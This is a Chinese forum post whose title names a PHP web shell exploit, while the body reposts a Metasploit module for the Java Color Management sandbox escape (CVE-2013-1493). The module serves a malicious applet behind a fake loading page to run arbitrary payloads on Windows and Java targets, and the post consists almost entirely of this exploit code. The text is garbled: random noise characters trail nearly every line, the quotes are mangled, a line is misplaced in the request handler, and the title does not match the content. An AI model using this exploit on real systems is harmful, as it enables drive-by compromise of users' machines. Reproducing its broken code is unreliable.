找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2208|回复: 0
打印 上一主题 下一主题

STUNSHELL PHP Web Shell远程执行代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:31:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
##
  ~! l2 n& g" ?; N  ~5 @
& A2 D5 H9 B) M* x# This file is part of the Metasploit Framework and may be subject to, c5 H% @& J4 v
# redistribution and commercial restrictions. Please see the Metasploit
1 `  W6 H4 Q# I" Z# web site for more information on licensing and terms of use.4 z2 b2 w; [0 m: j# \& x
# http://metasploit.com/* Z! d1 x. H3 a7 E7 V
##
5 n/ S$ ~+ U) }; ]; e% Yrequire ‘msf/core’* X  l  }2 c' b
require ‘rex’( N+ m3 ?8 P% }' V7 j( S# }
class Metasploit3 < Msf::Exploit::Remote" ^9 _; o! S9 ~% j  G/ p. s% }. o: i; P
Rank = NormalRanking
4 O) R$ V  X( c5 U! |8 ainclude Msf::Exploit::Remote::HttpServer::HTML
; @; e, X+ ~0 w+ Minclude Msf::Exploit::EXE; K7 K4 p: Z& c) p
include Msf::Exploit::Remote::BrowserAutopwn
% u+ a0 j, Z0 a, Lautopwn_info({ :javascript => false })
2 u" L8 q* d1 e- Fdef initialize( info = {} )
( J. [$ @& d% _/ S  qsuper( update_info( info,
6 c0 G6 d7 P' j# ?3 P( w$ W‘Name’ => ‘Java CMM Remote Code Execution’,4 U7 U4 U3 q3 ^" Z9 n) |" G3 K8 F) B
‘Description’ => %q{% E/ a) h6 f+ P0 @, |8 v
This module abuses the Color Management classes from a Java Applet to run
% |, r, ~" M% i5 R5 V' Q# narbitrary Java code outside of the sandbox as exploited in the wild in February4 Q1 v$ t% q5 K  S& @. t1 |6 {1 T
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
& J4 c  I8 h7 q7 M2 |/ a0 S+ cand earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
8 a% |$ J3 l: I9 ysystems. This exploit doesn’t bypass click-to-play, so the user must accept the java2 b7 P8 s5 ]# {' G$ r) o6 j7 H
warning in order to run the malicious applet.
* x  z4 o+ b5 ?% M9 s& N7 T: E},7 v' F( x9 B( Q1 u
‘License’ => MSF_LICENSE,
/ ?6 k( w; r: z: y‘Author’ =>; V6 z8 R/ I) u
'Unknown', # Vulnerability discovery and Exploit
3 j" @, r  m# }- @/ ^'juan vazquez' # Metasploit module (just ported the published exploit)  k, U, z; e5 H3 P% ^
],
6 t% n. N5 G/ t& Z/ G. X2 j‘References’ =>- I+ C& m: A2 j- M9 x
[) H" e- j$ j* p! `
[ 'CVE', '2013-1493' ],
1 u4 Y$ b5 d  a! E2 o[ 'OSVDB', '90737' ],% I/ u, F, h9 M  q
[ 'BID', '58238' ],' {! o4 q1 `& t# x
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],' J9 F; R% P9 O. F% u0 o
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
& q  W( G1 ~# t4 f1 U[ 'URL', 'http://pastie.org/pastes/6581034' ]
/ U/ `- b7 l, p/ o],
" ~5 h1 l8 c' s' p7 u9 C! K, ~! W‘Platform’ => [ 'win', 'java' ],, U! p3 z. X( o% @0 B) Z0 h
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },$ m2 z  g3 W. e5 T2 _9 P$ h
‘Targets’ =># T9 o& [3 R- R3 g
[3 ?7 w# ^. S' i8 r
[ 'Generic (Java Payload)',' }  C2 C; t  w. g2 @6 \  S1 b
{
: {! S  o0 D; w- F'Platform' => 'java',
; n) M6 d# }# ^. a5 H'Arch' => ARCH_JAVA
! o0 Y6 G8 Z9 B* @& g( ~8 ~8 N}
+ ?3 {3 c5 i% h% T* }* W5 H],& S4 ]/ b- M" h
[ 'Windows x86 (Native Payload)',& d' L) \# L: |: p+ A
{
3 |4 \% }4 I6 T# Y, R& r'Platform' => 'win',  Z: V$ x( t( c" Z' t; {* I! ]# D
'Arch' => ARCH_X86
# B9 r+ {, X5 X5 e, o8 ^7 H}* O$ z; y) p$ [
]; W. T5 |1 m+ x5 _  @
],
8 W; X% e: |& E‘‘DisclosureDate’ => ‘Mar 01 2013′2 s5 |0 O) W6 K$ M, w
))- _8 _) v" x7 C8 l' m! e
end
: |) c" C5 `* D* p0 bdef setup
3 z3 X. I3 F, r1 }$ o, Hpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
3 m0 a3 E' w9 B4 o# F: y' o6 ?/ p7 r@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }: b1 Q3 M* \- n
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
* E* y3 t2 b7 y: p# N@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
2 K/ C+ z& F1 P+ Dpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”): ~& W3 j. J3 n  ~7 V, J
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }) q. n/ w! N/ e
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)* `$ \; x& D# z& C. J0 O
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
, c# Q' }8 c) Z  G@init_class_name = rand_text_alpha(“Init”.length): ~0 m& a1 }4 K+ o! n. X8 t
@init_class.gsub!(“Init”, @init_class_name)
& A" y3 i2 T; M6 s: g( ]7 hsuper: t2 m/ G! ~* F: ?$ d$ z$ y
end
* e' u' r( t; ^/ _+ y1 ]def on_request_uri(cli, request)
/ n) o4 y* R) }# U* [! Gprint_status(“handling request for #{request.uri}”)* ]/ M, a7 V+ O! J
case request.uri$ V$ ^2 K* a# N7 _/ d
when /\.jar$/i& x% s  a. t& ~# F8 {( y
jar = payload.encoded_jar
8 H# U5 U; C) v: X% fjar.add_file(“#{@init_class_name}.class”, @init_class). h$ a+ t6 l( H( \9 i' E
jar.add_file(“Leak.class”, @leak_class)+ m3 p% ?7 [7 n* u! @4 }
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)
+ Y$ p+ |5 [6 yjar.add_file(“MyColorSpace.class”, @color_space_class)+ ^5 E9 H9 h1 Z: W3 i3 c- h0 C
DefaultTarget’ => 1,
4 V1 m6 O5 u. ^- f  {. Kmetasploit_str = rand_text_alpha(“metasploit”.length)6 v- ?( E9 K. m  t
payload_str = rand_text_alpha(“payload”.length)  G" s  d- U# M* i. h: b$ H
jar.entries.each { |entry|+ |4 P, T  D8 b& |3 B" M; s
entry.name.gsub!(“metasploit”, metasploit_str)2 S/ E$ t# a2 i/ N  k# D' L
entry.name.gsub!(“Payload”, payload_str)# J% B  M# u6 a% u; x) q0 m
entry.data = entry.data.gsub(“metasploit”, metasploit_str)
0 M- h! d) H! a8 ientry.data = entry.data.gsub(“Payload”, payload_str)6 F2 S( e2 o& C* \
}# J. D9 s& q8 T" g$ [" j( l1 W2 A
jar.build_manifest
: a6 }( M* t6 f, K0 {1 nsend_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })0 {1 |. d9 y5 i5 S
when /\/$/; c  p! I; o; e3 ]4 \: V: v
payload = regenerate_payload(cli)# J( `& `9 w8 O& R
if not payload  a/ J. c& ~+ l  C- d% ?3 J9 a
print_error(“Failed to generate the payload.”)
# N1 o. {: r" S; V# Z& Nsend_not_found(cli)& a& Y3 _. w* K
return- _  p, v1 v, r& G7 K
end
8 V( S7 h2 i2 c; C" |' Csend_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })! v6 S3 ^/ Y- C- p
else" M) u- m* p/ u  N5 c6 z  Y9 H
send_redirect(cli, get_resource() + ‘/’, ”)) p. F+ y; G# q
end( b; S, f; o1 W) d  y" L! [- [
end
0 V' B2 v* G  s  K8 Q9 {, `! Tdef generate_html
4 i; A: I3 ]& F4 \html = %Q|<html><head><title>Loading, Please Wait…</title></head>|
1 A9 Z- ]+ m  \# T" G3 e4 Dhtml += %Q|<body><center><p>Loading, Please Wait…</p></center>|6 k7 _; b- Q- v: i8 t4 H
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|5 x  t0 M% O1 v) [9 e9 d! Z7 Y
html += %Q|</applet></body></html>|
. q& m, F7 _6 W8 C! Ereturn html
( h3 s+ j8 y0 \5 G) _2 i9 `4 kend8 y/ ]9 N; _% s- t2 q% }
end
3 M& p6 ~7 g, r7 O: U7 X. O$ [end
1 d  p) U# C* e. x3 m5 l) J$ m. {
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表